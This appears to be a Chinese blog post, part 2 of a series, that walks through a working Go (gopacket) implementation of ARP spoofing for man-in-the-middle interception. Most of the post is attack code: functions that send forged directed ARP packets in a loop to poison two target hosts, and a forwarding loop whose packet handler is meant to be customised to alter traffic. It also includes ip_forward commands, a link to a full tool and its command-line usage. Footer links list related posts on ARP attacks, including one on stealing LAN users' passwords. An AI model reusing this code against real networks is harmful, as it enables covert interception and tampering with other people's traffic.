上一篇讲了原理,那么这一篇主要讲如何实现。基本上也就是实现上面的两个步骤,这里基于gopacket实现,我会带着大家一步步详细把每个步骤都讲到。

ARP 欺骗

首先就是伪造ARP请求,让A和B把数据包发到我这里来。

利用gopacket 发送一个ARP请求,下面是一个实现函数,可以用来发送一个指定ip地址和mac地址的arp请求。

//send a arp reply from srcIp to dstIP
func SendAFakeArpRequest(handle *pcap.Handle, dstIP, srcIP net.IP, dstMac, srcMac net.HardwareAddr) {

arpLayer := &layers.ARP{
AddrType:layers.LinkTypeEthernet,
Protocol:layers.EthernetTypeIPv4,
HwAddressSize:6,
ProtAddressSize:4,
Operation:layers.ARPRequest,
DstHwAddress:dstMac, //正常情况下,这里应该是FFFFFFFFF,但是这里通过指定来发送虚假定向ARP请求
DstProtAddress:[]byte(dstIP.To4()),
SourceHwAddress:srcMac,
SourceProtAddress:[]byte(srcIP.To4()),
}

ethernetLayer := &layers.Ethernet{
SrcMAC: srcMac,
DstMAC: dstMac, //正常情况下,这里应该是FFFFFFFFF,但是这里通过指定来发送虚假定向ARP请求
EthernetType:layers.EthernetTypeARP,
}

// And create the packet with the layers
buffer := gopacket.NewSerializeBuffer()
opts := gopacket.SerializeOptions{
FixLengths:true,
ComputeChecksums:true,
}
err := gopacket.SerializeLayers(buffer, opts,
ethernetLayer,
arpLayer,
)
if err != nil {
log.Error(err)
}
outgoingPacket := buffer.Bytes()
log.Debug("sending arp")
//log.Debug(hex.Dump(outgoingPacket))
handleMutex.Lock()
err = handle.WritePacketData(outgoingPacket)
handleMutex.Unlock()
if err != nil {
log.Error(err)
}
}

 

 

    下面是循环向A和B播报虚假MAC地址,其中要攻击的就是IP1和ip2

//tell ip1 that ip2's mac is mymac and tell ip2 that ip1's mac is mymac periodly
func sendSudeoArpInfo(interfaceName string, myip, ip1, ip2 net.IP, mymac, mac1, mac2 net.HardwareAddr, shouldStop *bool) {
fmt.Printf("start sending fake arp packets...\n")
handle, err := pcap.OpenLive(interfaceName, 65535, false, pcap.BlockForever)
handle.SetDirection(pcap.DirectionOut)
defer handle.Close()
if err != nil {
log.Fatal(err)
}
for ! (*shouldStop) {
//tell ip1 that ip2's mac is mymac
SendAFakeArpRequest(handle, ip1, ip2, mac1, mymac)
//tell ip2 that ip1's mac is mymac
SendAFakeArpRequest(handle, ip2, ip1, mac2, mymac)
time.Sleep(1 * time.Second) } }

 

这样第一步就完成了。

剩下的就是第二步,等待数据包到来,然后进行转发

IP转发

如果只是单纯想观察一下数据流,比如把数据报保存下来,留作以后分析等,那其实很简单,我们可以不用编程,直接使用ip forward这样的功能,如果在linux下,可以直接这样:

#:> echo 1 > /proc/sys/net/ipv4/ip_forward

sudo sysctl -w net.inet.ip.forwarding=1

这里我们主要讲如何用程序来实现。arppoisoning函数会进行包转发,参数很直观,第一个是要处理的网卡,最后一个用来控制停止。

/*
将截获ip1和ip2之间通信的所有流量,自己相当于是一个中间人的角色,
close(stop) or write somthing to stop when you want to stop
*/
func
ArpPoisoning(interfaceName string, myip, ip1, ip2 net.IP, mymac, mac1, mac2 net.HardwareAddr, stop chan bool) {
var filter string = fmt.Sprintf("ip host %s or ip host %s ", ip1.To4().String(), ip2.To4().String())
err = handle.SetBPFFilter(filter) //设置包过滤,只处理ip1 ip2
if err != nil {
log.Fatal(err)
return
}
log.Infof("capture filter: ip host %s or ip host %s ", ip1.To4().String(), ip2.To4().String())
packetSource := gopacket.NewPacketSource(handle, handle.LinkType()) ip2Mac := make(map[string]net.HardwareAddr)
ip2Mac[ip1.String()] = mac1
ip2Mac[ip2.String()] = mac2
in := packetSource.Packets() var packet gopacket.Packet
for {
select {
case <-stop:
shouldStop = true
time.Sleep(3 * time.Second) //多等一会儿,让arp发送线程有机会结束
return
case
packet = <-in:
layer := packet.Layer(layers.LayerTypeEthernet)
log.Debug("receive a packet")
if layer != nil {
ethLayer := layer.(*layers.Ethernet) //下面这一段来判断是ip1和ip2之间的数据包,如果是,那么应该进行mac地址修改,然后再转发
if bytes.Compare(ethLayer.DstMAC, mymac) == 0 {
layer = packet.Layer(layers.LayerTypeIPv4)
if layer != nil {
iplayer := layer.(*layers.IPv4)
//目标mac是我,并且ip地址是我要监听的两个,那么转发
if ( (ipEqual(iplayer.DstIP, ip1) && ipEqual(iplayer.SrcIP, ip2) ) ||
( ipEqual(iplayer.DstIP, ip2) && ipEqual(iplayer.SrcIP, ip1) )) {
log.Debug("receive a valid packet...")
raw := PacketHandler(packet, ip2Mac)
//handleMutex.Lock()
err := handle.WritePacketData(raw)
log.Debug("resend this packet..")
//handleMutex.Unlock()
if err != nil {
log.Error(err)
return
} }
}
} }
}
} }

 

PacketHandler 可以自定义,这样可以实现自己想要的功能,比如修改包的内容再转发等等。

下面是基本的PacketHandler实现,就是什么都不做,只是转发。

func PacketHandler(packet gopacket.Packet, ip2Mac map[string]net.HardwareAddr) []byte {
data := packet.Data()
layer := packet.Layer(layers.LayerTypeIPv4)
iplayer := layer.(*layers.IPv4)
layer = packet.Layer(layers.LayerTypeEthernet)
ethLayer := layer.(*layers.Ethernet)
dstMac := ip2Mac[iplayer.DstIP.String()] //找到真正的mac地址是什么,然后修改
//copy(data,dstMac)
for i := 0; i < len(dstMac); i++ {
data[i] = dstMac[i]
}
return data
}

 

到此为止,已经把ARP欺骗进行流量截获的基本原理以及实现方法讲解完毕,当然真正的可运行程序要比这上面说的复杂,要考虑到使用方便等,完整的实现可以见https://github.com/nkbai/arppoison

 

用法

arppoison -ip1 192.168.56.103 -ip2 192.168.56.104 -t seconds -d
-ip1,-ip2: the ip will be attacked
-t how many seconds to attack,default is 3000 *3600 seconds, 3000 hour
-d print debug message

arp欺骗进行流量截获-2的更多相关文章

  1. arp欺骗进行流量截获-1

    这边博文主要讲一下怎么使用arp欺骗进行流量截获,主要用于已经攻入内网以后,进行流量监听以及修改. 一.什么是arp     arp协议是以太网的基础工作协议,其主要作用是是一种将IP地址转化成物理地 ...

  2. ARP欺骗与MITM(中间人攻击)实例

    ARP协议(address resolution protocol):地址解析协议 一台主机和另一台主机通信,要知道目标的IP地址,但是在局域网中传输数据的网卡却不能直接识别IP地址,所以用ARP解析 ...

  3. 关于ARP欺骗与MITM(中间人攻击)的一些笔记( 二 )

    一直没有折腾啥东西,直到最近kali Linux发布,才回想起应该更新博客了….. 再次说明,这些技术并不是本人原创的,而是以前记录在Evernote的旧内容(排版不是很好,请谅解),本文是继关于AR ...

  4. arp协议分析&python编程实现arp欺骗抓图片

    arp协议分析&python编程实现arp欺骗抓图片 序 学校tcp/ip协议分析课程老师布置的任务,要求分析一种网络协议并且研究安全问题并编程实现,于是我选择了研究arp协议,并且利用pyt ...

  5. 利用ARP欺骗进行MITM(中间人攻击)

    ARP欺骗主要骑着信息收集得作用,比如可以利用欺骗获取对方流量,从流量分析你认为重要得信息 0X01  了解ARP Arp协议 ARP(Address Resolution Protocol,地址解析 ...

  6. Arp欺骗和DNS投毒的实验性分析

    1.中间人攻击之Arp欺骗/毒化 本文涉及网络安全攻击知识,随时可能被永久删除.请Star我的GitHub仓库 实现原理: 这种攻击手段也叫做中间人攻击MITM(Man-in-the-Middle) ...

  7. 网络层主要协议与arp欺骗

    网络层主要协议与arp欺骗 目录 网络层主要协议与arp欺骗 一.网络层(Network Layer) 1.网络层的功能 2.IP数据报(IP Datagram) 二.网络层的主要协议 1.ICMP协 ...

  8. kali Linux 渗透测试 | ARP 欺骗

    目录 ARP 欺骗及其原理 ARP 欺骗实施步骤 必备工具安装 nmap 工具 dsniff 工具 driftnet 工具 ettercap 工具 ARP 欺骗测试 ARP 断网攻击 ARP 欺骗(不 ...

  9. 使用ARP欺骗, 截取局域网中任意一台机器的网页请求,破解用户名密码等信息

    ARP欺骗的作用 当你在网吧玩,发现有人玩LOL大吵大闹, 用ARP欺骗把他踢下线吧 当你在咖啡厅看上某一个看书的妹纸,又不好意思开口要微信号, 用arp欺骗,不知不觉获取到她的微信号和聊天记录,吓一 ...

随机推荐

  1. 杂项:UN-APP

    ylbtech-杂项:APP 1.返回顶部   2.返回顶部   3.返回顶部   4.返回顶部   5.返回顶部     6.返回顶部   7.返回顶部   8.返回顶部   9.返回顶部   10 ...

  2. win2003能支持的最高python版本为3.3.5版本

    https://www.python.org/downloads/windows/

  3. PL/SQL 训练12--动态sql和绑定变量

    --什么是动态SQL?动态PL/SQL--动态SQL是指在运行时刻才构建执行的SQL语句--动态PL/SQL是指整个PL/SQL代码块都是动态构建,然后再编译执行 --动态SQL来可以用来干什么? - ...

  4. hibernate缓存机制详细介绍

    hibernate的缓存机制,包括一级缓存(session级别).二级缓存(sessionFactory级别). 一:hibernate的 N+1问题 list()获得对象: 如果通过list()方法 ...

  5. Handler消息传送机制

    一.什么是UI线程 当程序第一次启动的时候,Android会同时启动一条主线程( Main Thread). 主要负责处理与UI相关的事件. 二.UI线程存在的问题 出于性能优化考虑,Android的 ...

  6. Protege4.3使用入门(二)

    1.支持OWLViz 利用OWLViz查看我们构建Class的结构图.如果尚未安装,请到http://www.graphviz.org/pub/graphviz/stable/windows/grap ...

  7. Hibernate XXX.hbm.xml 里的class标签的 schema 属性解释

    转自:https://blog.csdn.net/mym43210/article/details/30230173 1 <?xml version="1.0" encodi ...

  8. Oracle11gR2--SEC_CASE_SENSITIVE_LOGON参数解析

    在Oracle的11g之前的版本中密码是不区分大小写的(使用双引号强制除外). 在Oracle的11g以及以后的版本中对此有所增强.从此密码有了大小写的区分. 这个大小写敏感特性是通过SEC_CASE ...

  9. svn add文件名包含@符号的解决方案

    [svn add文件名包含@符号的解决方案] 在iOS开发过程中,代码得用SVN管理起来,但是遇到这么个问题:Default@2x.png文件svn add不成功,总提示找不到这个文件. 结果查了查资 ...

  10. Dubbo简单介绍及其和zookeeper的关系

    何为Dubbo ​ Dubbox 是一个分布式服务框架,其前身是阿里巴巴开源项目Dubbo ,被国内电商及互联网项目中使用,后期阿里巴巴停止了该项目的维护,当当网便在Dubbo基础上进行优化,并继续维 ...